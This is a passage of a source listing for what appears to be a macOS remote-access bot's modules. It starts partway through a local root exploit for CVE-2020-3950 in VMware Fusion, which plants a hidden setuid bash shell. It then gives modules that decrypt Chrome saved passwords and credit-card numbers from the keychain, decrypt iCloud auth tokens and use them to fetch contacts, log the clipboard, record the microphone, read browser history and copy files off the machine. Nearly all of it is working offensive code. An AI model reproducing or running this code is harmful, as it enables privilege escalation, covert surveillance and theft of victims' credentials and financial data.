| 12 | def run(options): 13 | path = os.getenv("HOME") 14 | print("[+] CVE-2020-3950 local root exploit 0day for MacOS fusion 11.5.2 & below") 15 | try: 16 | os.rmdir(path + "/Contents/Library/services") 17 | os.rmdir(path + "/a") 18 | except OSError: 19 | print("directories don't exist to rm - this is ok") 20 | print("[+] creating directories") 21 | try: 22 | os.makedirs(path + "/Contents/Library/services/") 23 | os.makedirs(path + "/a/b/c") 24 | except OSError: 25 | print("directories exist also ok") 26 | print("[+] Creating our runas root payload to use in " + path) 27 | myfile = open(path + "/Contents/Library/services/VMware USB Arbitrator Service","wb") 28 | myfile.write("#!/usr/bin/python\nimport os\nos.setuid(0)\nos.system('cp /bin/bash /tmp/.com.apple.launchd.rWGGYVvlyx;chmod 4755 /tmp/.com.apple.launchd.rWGGYVvlyx')\n") 29 | myfile.close() 30 | os.chmod(path + "/Contents/Library/services/VMware USB Arbitrator Service",0755) 31 | print("[+] Linking service for path confusion") 32 | try: 33 | os.link("/Applications/VMware Fusion.app/Contents/Library/services/Open VMware USB Arbitrator Service",path + "/a/b/c/linked") 34 | except OSError: 35 | print("link exists") 36 | p = os.fork() 37 | if p == 0: 38 | print("exploiting service") 39 | os.execve(path + "/a/b/c/linked", ["VMware USB Arbitrator Service"], env) 40 | time.sleep(5) 41 | os.kill(p,9) 42 | time.sleep(7) 43 | print("[+] root shell at '/tmp/.com.apple.launchd.rWGGYVvlyx -p -c id'") 44 | print("[!] delete " + path + "/a and " + path + "/Contents to clean up artifacts") 45 | -------------------------------------------------------------------------------- /server/modules/bot/browser_history.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | __author__ = "Marten4n6" 3 | __license__ = "GPLv3" 4 | 5 | import sqlite3 6 | from os import path 7 | 8 | 9 | def print_safari_history(history_limit, output_file): 10 | try: 11 | safari_history = path.expanduser("~/Library/Safari/History.db") 12 | string_builder = "" 13 | 14 | if path.isfile(safari_history): 15 | database = sqlite3.connect(safari_history) 16 | cursor = database.cursor() 17 | 18 | cursor.execute( 19 | "SELECT datetime(hv.visit_time + 978307200, 'unixepoch', 'localtime') " 20 | "as last_visited, hi.url, hv.title " 21 | "FROM history_visits hv, history_items hi WHERE hv.history_item = hi.id;" 22 | ) 23 | statement = cursor.fetchall() 24 | 25 | number = history_limit * -1 26 | 27 | if not output_file: 28 | string_builder += "Safari history: \n" 29 | 30 | for item in statement[number:]: 31 | string_builder += " -> ".join(item) 32 | string_builder += "\n" 33 | else: 34 | with open(output_file, "a+") as out: 35 | for item in statement[number:]: 36 | out.write(str(item) + "\n") 37 | out.write("\n") 38 | 39 | database.close() 40 | print(string_builder) 41 | except Exception as ex: 42 | print("[safari] Error: " + str(ex)) 43 | 44 | 45 | def print_chrome_history(history_limit, output_file): 46 | try: 47 | chrome_history = path.expanduser("~/Library/Application Support/Google/Chrome/Default/History") 48 | string_builder = "" 49 | 50 | if path.isfile(chrome_history): 51 | database = sqlite3.connect(chrome_history) 52 | cursor = database.cursor() 53 | 54 | cursor.execute( 55 | "SELECT datetime(last_visit_time/1000000-11644473600, unixepoch) " 56 | "as last_visited, url, title, visit_count " 57 | "FROM urls;" 58 | ) 59 | statement = cursor.fetchall() 60 | 61 | number = history_limit * -1 62 | 63 | if not output_file: 64 | string_builder += "Chrome history: " 65 | 66 | for item in statement[number:]: 67 | string_builder += item 68 | string_builder += "\n" 69 | else: 70 | # Write output to file. 71 | with open(output_file, "a+") as out: 72 | for item in statement[number:]: 73 | out.write(str(item) + "\n") 74 | 75 | database.close() 76 | print(string_builder) 77 | except Exception as ex: 78 | print("[chrome] Error: " + str(ex)) 79 | 80 | 81 | def run(options): 82 | print_safari_history(options["history_limit"], options["output_file"]) 83 | print_chrome_history(options["history_limit"], options["output_file"]) 84 | 85 | if options["output_file"]: 86 | print("[browser_history] History saved to: " + options["output_file"]) 87 | -------------------------------------------------------------------------------- /server/modules/bot/chrome_passwords.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # See https://github.com/manwhoami/OSXChromeDecrypt 3 | __author__ = "manwhoami" 4 | 5 | import base64 6 | import binascii 7 | import glob 8 | import hmac 9 | import itertools 10 | import operator 11 | import shutil 12 | import sqlite3 13 | import struct 14 | import subprocess 15 | import tempfile 16 | 17 | try: 18 | xrange 19 | except NameError: 20 | # Python3 support. 21 | # noinspection PyShadowingBuiltins 22 | xrange = range 23 | 24 | 25 | def pbkdf2_bin(password, salt, iterations, keylen=16): 26 | # Thanks to mitsuhiko for this function: 27 | # https://github.com/mitsuhiko/python-pbkdf2 28 | _pack_int = struct.Struct('>I').pack 29 | hashfunc = sha1 30 | mac = hmac.new(password, None, hashfunc) 31 | 32 | def _pseudorandom(x, mac=mac): 33 | h = mac.copy() 34 | h.update(x) 35 | return map(ord, h.digest()) 36 | 37 | buf = [] 38 | for block in xrange(1, -(-keylen // mac.digest_size) + 1): 39 | rv = u = _pseudorandom(salt + _pack_int(block)) 40 | for i in xrange(iterations - 1): 41 | u = _pseudorandom(''.join(map(chr, u))) 42 | rv = itertools.starmap(operator.xor, itertools.izip(rv, u)) 43 | buf.extend(rv) 44 | return ''.join(map(chr, buf))[:keylen] 45 | 46 | 47 | try: 48 | from hashlib import pbkdf2_hmac 49 | except ImportError: 50 | # Python version not available (Python < 2.7.8, macOS < 10.11), 51 | # use mitsuhiko's pbkdf2 method. 52 | pbkdf2_hmac = pbkdf2_bin 53 | from hashlib import sha1 54 | 55 | 56 | def chrome_decrypt(encrypted, safe_storage_key): 57 | """ 58 | AES decryption using the PBKDF2 key and 16x " " IV 59 | via openSSL (installed on OSX natively) 60 | 61 | Salt, iterations, iv, size: 62 | https://cs.chromium.org/chromium/src/components/os_crypt/os_crypt_mac.mm 63 | """ 64 | 65 | iv = "".join(("20",) * 16) 66 | key = pbkdf2_hmac("sha1", safe_storage_key, b"saltysalt", 1003)[:16] 67 | 68 | hex_key = binascii.hexlify(key) 69 | hex_enc_password = base64.b64encode(encrypted[3:]) 70 | 71 | # Send any error messages to /dev/null to prevent screen bloating up 72 | # (any decryption errors will give a non-zero exit, causing exception) 73 | try: 74 | decrypted = subprocess.check_output( 75 | "openssl enc -base64 -d " 76 | "-aes-128-cbc -iv '{}' -K {} <<< " 77 | "{} 2>/dev/null".format(iv, hex_key, hex_enc_password), 78 | shell=True) 79 | except subprocess.CalledProcessError: 80 | decrypted = "Error decrypting this data." 81 | 82 | return decrypted 83 | 84 | 85 | def chrome_db(chrome_data, content_type): 86 | """ 87 | Queries the chrome database (either Web Data or Login Data) 88 | and returns a list of dictionaries, with the keys specified 89 | in the list assigned to keys. 90 | 91 | :type chrome_data: list 92 | :param chrome_data: POSIX path to chrome database with login / cc data 93 | :type content_type: string 94 | :param content_type: specify what kind of database it is (login or cc) 95 | 96 | :rtype: list 97 | :return: list of dictionaries with keys specified in the keys variable 98 | and the values retrieved from the DB. 99 | """ 100 | # Work around for locking DB 101 | copy_path = tempfile.mkdtemp() 102 | with open(chrome_data, 'r') as content: 103 | dbcopy = content.read() 104 | with open("{}/chrome".format(copy_path), 'w') as content: 105 | # If chrome is open, the DB will be locked 106 | # so get around this by making a temp copy 107 | content.write(dbcopy) 108 | 109 | database = sqlite3.connect("{}/chrome".format(copy_path)) 110 | 111 | if content_type == "Web Data": 112 | sql = ("select name_on_card, card_number_encrypted, expiration_month, " 113 | "expiration_year from credit_cards") 114 | keys = ["name", "card", "exp_m", "exp_y"] 115 | 116 | else: 117 | sql = "select username_value, password_value, origin_url from logins" 118 | keys = ["user", "pass", "url"] 119 | 120 | db_data = [] 121 | with database: 122 | for values in database.execute(sql): 123 | if not values[0] or (values[1][:3] != b'v10'): 124 | continue 125 | else: 126 | db_data.append(dict(zip(keys, values))) 127 | shutil.rmtree(copy_path) 128 | 129 | return db_data 130 | 131 | 132 | def utfout(inputvar): 133 | """ 134 | Cleans a variable for UTF8 encoding on some environments 135 | where python will break with an error 136 | :credit: koconder 137 | 138 | :type inputvar: string 139 | :param inputvar: string to be cleaned for UTF8 encoding 140 | :rtype inputvar: terminal compatible UTF-8 string encoded 141 | :return inputvar: terminal compatible UTF-8 string encoded 142 | """ 143 | return inputvar.encode("utf-8", errors="replace") 144 | 145 | 146 | def chrome(chrome_data, safe_storage_key): 147 | """ 148 | Calls the database querying and decryption functions 149 | and displays the output in a neat and ordered fashion. 150 | 151 | :type chrome_data: list 152 | :param chrome_data: POSIX path to chrome database with login / cc data 153 | :type safe_storage_key: string 154 | :param safe_storage_key: key from keychain that will be used to 155 | derive AES key. 156 | 157 | :rtype: None 158 | :return: None. All data is printed in this function, which is it's primary 159 | function. 160 | """ 161 | for profile in chrome_data: 162 | # Web data -> Credit cards 163 | # Login data -> Login data 164 | 165 | if "Web Data" in profile: 166 | db_data = chrome_db(profile, "Web Data") 167 | 168 | print("Credit Cards for Chrome Profile -> [{}]".format(profile.split("/")[-2])) 169 | 170 | for i, entry in enumerate(db_data): 171 | entry["card"] = chrome_decrypt(entry["card"], safe_storage_key) 172 | cc_dict = { 173 | "3": "AMEX", 174 | "4": "Visa", 175 | "5": "Mastercard", 176 | "6": "Discover" 177 | } 178 | 179 | brand = "Unknown Card Issuer" 180 | if entry["card"][0] in cc_dict: 181 | brand = cc_dict[entry["card"][0]] 182 | 183 | print(" [{}] {}".format(i + 1, brand)) 184 | print("\tCard Holder: {}".format(utfout(entry["name"]))) 185 | print("\tCard Number: {}".format(utfout(entry["card"]))) 186 | print("\tExpiration: {}/{}".format(utfout(entry["exp_m"]), utfout(entry["exp_y"]))) 187 | 188 | else: 189 | db_data = chrome_db(profile, "Login Data") 190 | 191 | print("Passwords for Chrome Profile -> [{}]".format(profile.split("/")[-2])) 192 | 193 | for i, entry in enumerate(db_data): 194 | entry["pass"] = chrome_decrypt(entry["pass"], safe_storage_key) 195 | 196 | print(" [{}] {}".format(i + 1, utfout(entry["url"]))) 197 | print("\tUser: {}".format(utfout(entry["user"]))) 198 | print("\tPass: {}".format(utfout(entry["pass"]))) 199 | 200 | 201 | def run(options): 202 | root_path = "/Users/*/Library/Application Support/Google/Chrome" 203 | login_data_path = "{}/*/Login Data".format(root_path) 204 | cc_data_path = "{}/*/Web Data".format(root_path) 205 | chrome_data = glob.glob(login_data_path) + glob.glob(cc_data_path) 206 | 207 | safe_storage_key = subprocess.Popen( 208 | "security find-generic-password -wa " 209 | "'Chrome'", 210 | stdout=subprocess.PIPE, 211 | stderr=subprocess.PIPE, 212 | shell=True) 213 | 214 | stdout, stderr = safe_storage_key.communicate() 215 | 216 | if stderr: 217 | print("Error: {}. Chrome entry not found in keychain?".format(stderr)) 218 | elif not stdout: 219 | print("User clicked deny.") 220 | else: 221 | safe_storage_key = stdout.replace("\n", "") 222 | chrome(chrome_data, safe_storage_key) 223 | -------------------------------------------------------------------------------- /server/modules/bot/clipboard.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | __author__ = "Marten4n6" 3 | __license__ = "GPLv3" 4 | 5 | from AppKit import NSPasteboard, NSStringPboardType 6 | from time import time, sleep 7 | from datetime import datetime 8 | 9 | 10 | def run(options): 11 | elapsed_time = 0 12 | monitor_time = int(options["monitor_time"]) 13 | output_file = options["output_file"] 14 | 15 | previous = "" 16 | 17 | while elapsed_time <= monitor_time: 18 | try: 19 | pasteboard = NSPasteboard.generalPasteboard() 20 | pasteboard_string = pasteboard.stringForType_(NSStringPboardType) 21 | 22 | if pasteboard_string != previous: 23 | if output_file: 24 | with open(output_file, "a+") as out: 25 | out.write(pasteboard_string + "\n") 26 | else: 27 | st = datetime.fromtimestamp(time()).strftime("%H:%M:%S") 28 | print("[clipboard] " + st + " - '%s'" % str(pasteboard_string).encode("utf-8")) 29 | 30 | previous = pasteboard_string 31 | 32 | sleep(1) 33 | elapsed_time += 1 34 | except Exception as ex: 35 | print(str(ex)) 36 | 37 | if output_file: 38 | print("Clipboard written to: " + output_file) 39 | -------------------------------------------------------------------------------- /server/modules/bot/decrypt_mme.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # Taken from https://github.com/manwhoami/MMeTokenDecrypt (slightly modified) 3 | # All credits to manwhoami for his work on this. 4 | 5 | import base64 6 | import binascii 7 | import datetime 8 | import glob 9 | import hashlib 10 | import hmac 11 | from os import path 12 | import platform 13 | import sqlite3 14 | import struct 15 | import json 16 | import subprocess 17 | 18 | from Foundation import NSData, NSPropertyListSerialization 19 | 20 | 21 | def get_generation_time(token_value): 22 | # It appears that apple stores the generation time of the token into 23 | # the token. This data is stored in 4 bytes as a big endian integer. 24 | # This function extracts the bytes, decodes them, and converts them 25 | # to a datetime object and returns a string representation of that 26 | # datetime object. 27 | try: 28 | token_c = token_value.replace("\"", "").replace("~", "=") 29 | time_d = base64.b64decode(token_c).encode("hex").split("00000000")[1:] 30 | time_h = [x for x in time_d if not x.startswith("0")][0][:8] 31 | time_i = struct.unpack(">I", binascii.unhexlify(time_h))[0] 32 | gen_time = datetime.datetime.fromtimestamp(time_i) 33 | except Exception: 34 | gen_time = "Could not find creation time." 35 | 36 | return gen_time 37 | 38 | 39 | def bin2str(token_bplist, account_bplist=None): 40 | # Convert the decrypted binary plist to an NSData object that can be read. 41 | bin_list = NSData.dataWithBytes_length_(token_bplist, len(token_bplist)) 42 | 43 | # Convert the binary NSData object into a dictionary object. 44 | token_plist = NSPropertyListSerialization.propertyListWithData_options_format_error_(bin_list, 0, None, None)[0] 45 | 46 | # Accounts DB cache 47 | if "$objects" in token_plist: 48 | # Because it is accounts db cache, we should also have been passed 49 | # account_bplist. 50 | bin_list = NSData.dataWithBytes_length_(account_bplist, len(account_bplist)) 51 | dsid_plist = NSPropertyListSerialization.propertyListWithData_options_format_error_(bin_list, 0, None, None)[0] 52 | 53 | for obj in dsid_plist["$objects"]: 54 | if str(obj).startswith("urn:ds:"): 55 | dsid = obj.replace("urn:ds:", "") 56 | 57 | token_dict = {"dsid": dsid} 58 | 59 | # Do some parsing to get the data out because it is not stored 60 | # in a format that is easy to process with stdlibs 61 | token_l = [x.strip().replace(",", "") for x in str(token_plist["$objects"]).splitlines()] 62 | 63 | pos_start = token_l.index("mmeBTMMInfiniteToken") 64 | pos_end = (token_l.index("cloudKitToken") - pos_start + 1) * 2 65 | 66 | token_short = token_l[pos_start:pos_start + pos_end] 67 | zipped = zip(token_short[:len(token_short) / 2], 68 | token_short[len(token_short) / 2:]) 69 | 70 | for token_type, token_value in zipped: 71 | # Attempt to get generation time 72 | # this parsing is a little hacky, but it seems to be the best way 73 | # to handle all different kinds of iCloud tokens (new and old) 74 | gen_time = get_generation_time(token_value) 75 | 76 | token_dict[token_type] = (token_value, gen_time) 77 | 78 | return token_dict 79 | 80 | else: 81 | return token_plist 82 | 83 | 84 | def run(options): 85 | string_builder = "" 86 | token_output = path.join(options["program_directory"], "tokens.json") 87 | 88 | if path.isfile(token_output): 89 | string_builder += "We already have saved tokens, skipping prompt...\n" 90 | 91 | with open(token_output, "r") as input_file: 92 | saved_tokens = dict(json.loads(input_file.read())) 93 | 94 | for key in saved_tokens.keys(): 95 | string_builder += "%s: %s\n" % (key, saved_tokens[key]) 96 | 97 | print(string_builder) 98 | return 99 | 100 | # Try to find information in database first. 101 | root_path = path.expanduser("~") + "/Library/Accounts" 102 | accounts_db = root_path + "/Accounts3.sqlite" 103 | 104 | if path.isfile(root_path + "/Accounts4.sqlite"): 105 | accounts_db = root_path + "/Accounts4.sqlite" 106 | 107 | database = sqlite3.connect(accounts_db) 108 | cursor = database.cursor() 109 | data = cursor.execute("SELECT * FROM ZACCOUNTPROPERTY WHERE ZKEY='AccountDelegate'") 110 | 111 | # 5th index is the value we are interested in (bplist of tokens) 112 | token_bplist = data.fetchone()[5] 113 | 114 | data = cursor.execute("SELECT * FROM ZACCOUNTPROPERTY WHERE ZKEY='account-info'") 115 | 116 | if int(platform.mac_ver()[0].split(".")[1]) >= 13: 117 | string_builder += "Tokens are not cached on >= 10.13.\n" 118 | token_bplist = "" 119 | else: 120 | # 5th index will be a bplist with dsid 121 | dsid_bplist = data.fetchone()[5] 122 | 123 | if token_bplist.startswith("bplist00"): 124 | string_builder += "Parsing tokens from cached accounts database at [%s]\n" % accounts_db.split("/")[-1] 125 | token_dict = bin2str(token_bplist, dsid_bplist) 126 | 127 | string_builder += "DSID: %s\n" % token_dict["dsid"] 128 | 129 | with open(token_output, 'wb') as output_file: 130 | for t_type, t_val in token_dict.items(): 131 | string_builder += "[+] %s: %s\n" % (t_type, t_val[0]) 132 | string_builder += " Creation time: %s\n" % t_val[1] 133 | 134 | output_file.write(json.dumps(token_dict)) 135 | string_builder += "Tokens saved to: %s\n" % token_output 136 | 137 | else: 138 | # Otherwise try by using keychain. 139 | string_builder += "Checking keychain...\n" 140 | 141 | icloud_key = subprocess.Popen("security find-generic-password -ws 'iCloud'", 142 | stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True) 143 | 144 | stdout, stderr = icloud_key.communicate() 145 | 146 | if stderr: 147 | string_builder += "Error: \"%s\", iCloud entry not found in keychain?\n" % stderr 148 | return 149 | if not stdout: 150 | string_builder += "User clicked deny.\n" 151 | 152 | msg = base64.b64decode(stdout.replace("\n", "")) 153 | 154 | """ 155 | Constant key used for hashing Hmac on all versions of MacOS. 156 | this is the secret to the decryption! 157 | /System/Library/PrivateFrameworks/AOSKit.framework/Versions/A/AOSKit 158 | yields the following subroutine 159 | KeychainAccountStorage _generateKeyFromData: 160 | that uses the below key that calls CCHmac to generate a Hmac that serves 161 | as the decryption key. 162 | """ 163 | 164 | key = "t9s\"lx^awe.580Gj%'ld+0LG<#9xa?>vb)-fkwb92[}" 165 | 166 | # Create Hmac with this key and icloud_key using md5 167 | hashed = hmac.new(key, msg, digestmod=hashlib.md5).digest() 168 | 169 | # Turn into hex for OpenSSL subprocess 170 | hexed_key = binascii.hexlify(hashed) 171 | IV = 16 * "0" 172 | token_file = glob.glob(path.expanduser("~") + "/Library/Application Support/iCloud/Accounts/*") 173 | 174 | for x in token_file: 175 | try: 176 | # We can convert to int, that means we have the dsid file. 177 | int(x.split("/")[-1]) 178 | token_file = x 179 | except ValueError: 180 | continue 181 | 182 | if not isinstance(token_file, str): 183 | string_builder += "Could not find MMeTokenFile.\n" 184 | return 185 | else: 186 | string_builder += "Decrypting token plist: %s\n" % token_file 187 | 188 | # Perform decryption with zero dependencies by using OpenSSL. 189 | decrypted = subprocess.check_output("openssl enc -d -aes-128-cbc -iv '%s' -K %s < '%s'" % ( 190 | IV, hexed_key, token_file 191 | ), shell=True) 192 | 193 | token_plist = bin2str(decrypted) 194 | 195 | string_builder += "Successfully decrypted!\n\n" 196 | string_builder += "%s (\"%s\", %s):\n" % ( 197 | token_plist["appleAccountInfo"]["primaryEmail"], token_plist["appleAccountInfo"]["fullName"], 198 | token_plist["appleAccountInfo"]["dsPrsID"] 199 | ) 200 | 201 | with open(token_output, 'wb') as output_file: 202 | for t_type, t_value in token_plist["tokens"].items(): 203 | string_builder += "[+] %s: %s\n" % (t_type, t_value) 204 | string_builder += " Creation time: %s\n" % (get_generation_time(t_value)) 205 | 206 | token_dict = dict(token_plist["tokens"]) 207 | token_dict["fullName"] = token_plist["appleAccountInfo"]["fullName"] 208 | token_dict["primaryEmail"] = token_plist["appleAccountInfo"]["primaryEmail"] 209 | 210 | output_file.write(json.dumps(token_dict)) 211 | string_builder += "Tokens saved to: %s\n" % token_output 212 | 213 | print(string_builder) 214 | -------------------------------------------------------------------------------- /server/modules/bot/download.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | __author__ = "Marten4n6" 3 | __license__ = "GPLv3" 4 | 5 | import subprocess 6 | import uuid 7 | from os import path 8 | 9 | 10 | def run_command(command): 11 | out, err = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE).communicate() 12 | output = out + err 13 | 14 | if len(output.split("\n")) == 2: 15 | return output.replace("\n", "") 16 | else: 17 | return output 18 | 19 | 20 | def get_file_hash(file_path): 21 | """:return: The MD5 hash of the specified file path.""" 22 | return run_command("md5 " + path.realpath(file_path)).split(" = ")[1] 23 | 24 | 25 | def upload_file(file_path, buffer_size): 26 | """Send back the file in pieces to the server (so we support very large files).""" 27 | with open(file_path, "rb") as input_file: 28 | while True: 29 | try: 30 | piece = input_file.read(buffer_size) 31 | 32 | if not piece: 33 | break 34 | 35 | print(piece) 36 | except SystemExit: 37 | # Thrown when "kill download" is run. 38 | print("Stopped uploading.") 39 | break 40 | 41 | 42 | def run(options): 43 | file_path = path.expanduser(options["file_path"]) 44 | buffer_size = options["buffer_size"] 45 | 46 | if not path.exists(file_path): 47 | print("Failed to download file, invalid path.") 48 | else: 49 | if path.isdir(file_path): 50 | print("Compressing directory: " + file_path) 51 | zip_file = path.join("/var/tmp", str(uuid.uuid4()).replace("-", "")[:12] + ".zip") 52 | 53 | run_command("zip -r " + zip_file + " " + file_path) 54 | 55 | # Let the server know the output file is a zip file. 56 | options["response_options"]["output_name"] = options["response_options"]["output_name"] + ".zip" 57 | 58 | print("Started|" + get_file_hash(zip_file)) 59 | upload_file(zip_file, buffer_size) 60 | 61 | print("[download] Finished.") 62 | run_command("rm -rf " + zip_file) 63 | else: 64 | print("Started|" + get_file_hash(file_path)) 65 | upload_file(file_path, buffer_size) 66 | 67 | print("[download] Finished.") 68 | -------------------------------------------------------------------------------- /server/modules/bot/get_backups.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | __author__ = "Marten4n6" 3 | __license__ = "GPLv3" 4 | 5 | import subprocess 6 | from os import listdir, path 7 | 8 | 9 | def run_command(command): 10 | out, err = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE).communicate() 11 | output = out + err 12 | 13 | if len(output.split("\n")) == 2: 14 | # Singe line response. 15 | return output.replace("\n", "") 16 | else: 17 | return output 18 | 19 | 20 | def run(options): 21 | base_path = "/Users/%s/Library/Application Support/MobileSync/Backup/" % run_command("whoami") 22 | backup_paths = listdir(base_path) 23 | 24 | if len(backup_paths) > 0: 25 | string_builder = "Looking for backups...\n" 26 | 27 | for i, backup_path in enumerate(backup_paths): 28 | string_builder += "[+] Device: " + str(i + 1) + "\n" 29 | 30 | plist_keys = [ 31 | "Product Name", 32 | "Product Version", 33 | "Last Backup Date", 34 | "Device Name", 35 | "Phone Number", 36 | "Serial Number", 37 | "IMEI", 38 | "Target Identifier", 39 | "iTunes Version" 40 | ] 41 | 42 | backup_path = path.join(base_path, backup_path, "Info.plist").replace(" ", "\\ ") 43 | 44 | for key in plist_keys: 45 | string_builder += "%s: %s\n" % ( 46 | key, run_command("/usr/libexec/PlistBuddy -c 'Print :\"%s\"' %s" % (key, backup_path)) 47 | ) 48 | 49 | print(string_builder) 50 | else: 51 | print("No local backups found.") 52 | -------------------------------------------------------------------------------- /server/modules/bot/get_info.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | __author__ = "Marten4n6" 3 | __license__ = "GPLv3" 4 | 5 | import platform 6 | import subprocess 7 | from os import getuid 8 | 9 | 10 | def run_command(command): 11 | out, err = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE).communicate() 12 | output = out + err 13 | 14 | if len(output.split("\n")) == 2: 15 | # Single line response. 16 | return output.replace("\n", "") 17 | else: 18 | return output 19 | 20 | 21 | def get_model(): 22 | model_key = run_command("sysctl -n hw.model") 23 | 24 | if not model_key: 25 | model_key = "Macintosh" 26 | 27 | output = run_command( 28 | "/usr/libexec/PlistBuddy -c 'Print :\"%s\"' " 29 | "/System/Library/PrivateFrameworks/ServerInformation.framework/Versions/A/Resources/English.lproj/SIMachineAttributes.plist " 30 | "| grep marketingModel" % model_key 31 | ) 32 | 33 | if "does not exist" in output.lower(): 34 | return model_key + " (running in virtual machine?)" 35 | else: 36 | return output.split("=")[1][1:] 37 | 38 | 39 | def get_wifi(): 40 | command = "/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -I | grep -w SSID" 41 | return run_command(command).replace("SSID: ", "").strip() 42 | 43 | 44 | def get_battery(): 45 | return run_command("pmset -g batt | egrep \"([0-9]+\\%).*\" -o | cut -f1 -d\';\'") 46 | 47 | 48 | def run(options): 49 | string_builder = "" 50 | 51 | string_builder += "System version: %s\n" % str(platform.mac_ver()[0]) 52 | string_builder += "Model: %s\n" % get_model() 53 | string_builder += "Battery: %s\n" % get_battery() 54 | string_builder += "WiFi network: %s\n" % get_wifi() 55 | 56 | if getuid() == 0: 57 | string_builder += "We are root!\n" 58 | else: 59 | string_builder += "We are not root :(\n" 60 | if "On" in run_command("fdesetup status"): 61 | string_builder += "FileVault is on.\n" 62 | else: 63 | string_builder += "FileVault is off." 64 | 65 | print(string_builder) 66 | -------------------------------------------------------------------------------- /server/modules/bot/icloud_contacts.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # Taken from https://github.com/manwhoami/iCloudContacts (slightly modified) 3 | # All credits to manwhoami for his work on this. 4 | 5 | import base64 6 | import json 7 | import urllib2 8 | from os import path 9 | from xml.etree import ElementTree as ET 10 | 11 | 12 | def get_card_links(dsid, token): 13 | url = 'https://p04-contacts.icloud.com/%s/carddavhome/card' % dsid 14 | headers = { 15 | 'Depth': '1', 16 | 'Authorization': 'X-MobileMe-AuthToken %s' % base64.b64encode("%s:%s" % (dsid, token)), 17 | 'Content-Type': 'text/xml', 18 | } 19 | data = """ 20 | 21 | 22 | 23 | 24 | 25 | """ 26 | request = urllib2.Request(url, data, headers) 27 | request.get_method = lambda: 'PROPFIND' # Important! 28 | response = urllib2.urlopen(request) 29 | zebra = ET.fromstring(response.read()) 30 | returnedData = """ 31 | 32 | 33 | 34 | 35 | \n""" 36 | for response in zebra: 37 | for link in response: 38 | href = response.find('{DAV:}href').text # get each link in the tree 39 | returnedData += "%s\n" % href 40 | return "%s" % str(returnedData) 41 | 42 | 43 | def getCardData(dsid, token): 44 | url = 'https://p04-contacts.icloud.com/%s/carddavhome/card' % dsid 45 | headers = { 46 | 'Content-Type': 'text/xml', 47 | 'Authorization': 'X-MobileMe-AuthToken %s' % base64.b64encode("%s:%s" % (dsid, token)), 48 | } 49 | data = get_card_links(dsid, token) 50 | request = urllib2.Request(url, data, headers) 51 | request.get_method = lambda: 'REPORT' # Important! 52 | response = urllib2.urlopen(request) 53 | zebra = ET.fromstring(response.read()) 54 | 55 | cards = [] 56 | 57 | for response in zebra: 58 | tel, contact, email = [], [], [] 59 | name = "" 60 | vcard = response.find('{DAV:}propstat').find('{DAV:}prop').find( 61 | '{urn:ietf:params:xml:ns:carddav}address-data').text 62 | if vcard: 63 | for y in vcard.splitlines(): 64 | if y.startswith("FN:"): 65 | name = y[3:] 66 | if y.startswith("TEL;"): 67 | tel.append((y.split("type")[-1].split(":")[-1] 68 | .replace("(", "").replace(")", "").replace(" ", "").replace("-", "") 69 | .encode("ascii", "ignore"))) 70 | if y.startswith("EMAIL;") or y.startswith("item1.EMAIL;"): 71 | email.append(y.split(":")[-1]) 72 | cards.append((name, tel, email)) 73 | return sorted(cards) 74 | 75 | 76 | def run(options): 77 | string_builder = "" 78 | token_file = path.join(options["program_directory"], "tokens.json") 79 | 80 | if not path.isfile(token_file): 81 | print("Failed to find tokens.json, run \"use decrypt_mme\" first.") 82 | return 83 | 84 | with open(token_file, "r") as input_file: 85 | saved_tokens = json.loads(input_file.read()) 86 | 87 | dsid = saved_tokens["dsid"] 88 | token = saved_tokens["mmeAuthToken"] 89 | 90 | string_builder += "iCloud contacts:\n" 91 | 92 | card_data = getCardData(dsid, token) 93 | for card in card_data: 94 | string_builder += "%s " % card[0] 95 | 96 | for number in card[1]: 97 | string_builder += "%s " % number 98 | for email in card[2]: 99 | string_builder += "%s " % email 100 | string_builder += "\n" 101 | 102 | print(string_builder) 103 | -------------------------------------------------------------------------------- /server/modules/bot/microphone.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | import time 4 | 5 | import objc 6 | import objc._objc 7 | from AVFoundation import * 8 | from Foundation import * 9 | 10 | 11 | def run(options): 12 | record_time = int(options["record_time"]) 13 | output_dir = options["output_dir"] 14 | output_name = options["output_name"] 15 | 16 | pool = NSAutoreleasePool.alloc().init() 17 | 18 | # Construct audio URL 19 | output_path = os.path.join(output_dir, output_name) 20 | audio_path_str = NSString.stringByExpandingTildeInPath(output_path) 21 | audio_url = NSURL.fileURLWithPath_(audio_path_str) 22 | 23 | # Fix metadata for AVAudioRecorder 24 | objc.registerMetaDataForSelector( 25 | b"AVAudioRecorder", 26 | b"initWithURL:settings:error:", 27 | dict(arguments={4: dict(type_modifier=objc._C_OUT)}), 28 | ) 29 | 30 | # Initialize audio settings 31 | audio_settings = NSDictionary.dictionaryWithDictionary_({ 32 | "AVEncoderAudioQualityKey": 0, 33 | "AVEncoderBitRateKey": 16, 34 | "AVSampleRateKey": 44100.0, 35 | "AVNumberOfChannelsKey": 2, 36 | }) 37 | 38 | # Create the AVAudioRecorder 39 | (recorder, error) = AVAudioRecorder.alloc().initWithURL_settings_error_( 40 | audio_url, 41 | audio_settings, 42 | objc.nil, 43 | ) 44 | 45 | if error: 46 | print("Unexpected error: " + str(error)) 47 | else: 48 | # Record audio for x seconds 49 | recorder.record() 50 | 51 | for i in range(0, record_time): 52 | try: 53 | time.sleep(1) 54 | except SystemExit: 55 | # Kill task called. 56 | print("Recording cancelled, " + str(i) + " seconds were left.") 57 | break 58 | 59 | recorder.stop() 60 | 61 | del pool 62 | 63 | # Done. 64 | os.rename(output_path, output_path + ".mp3") 65 | print("Finished recording, audio saved to: " + output_path + ".mp3") 66 | -------------------------------------------------------------------------------- 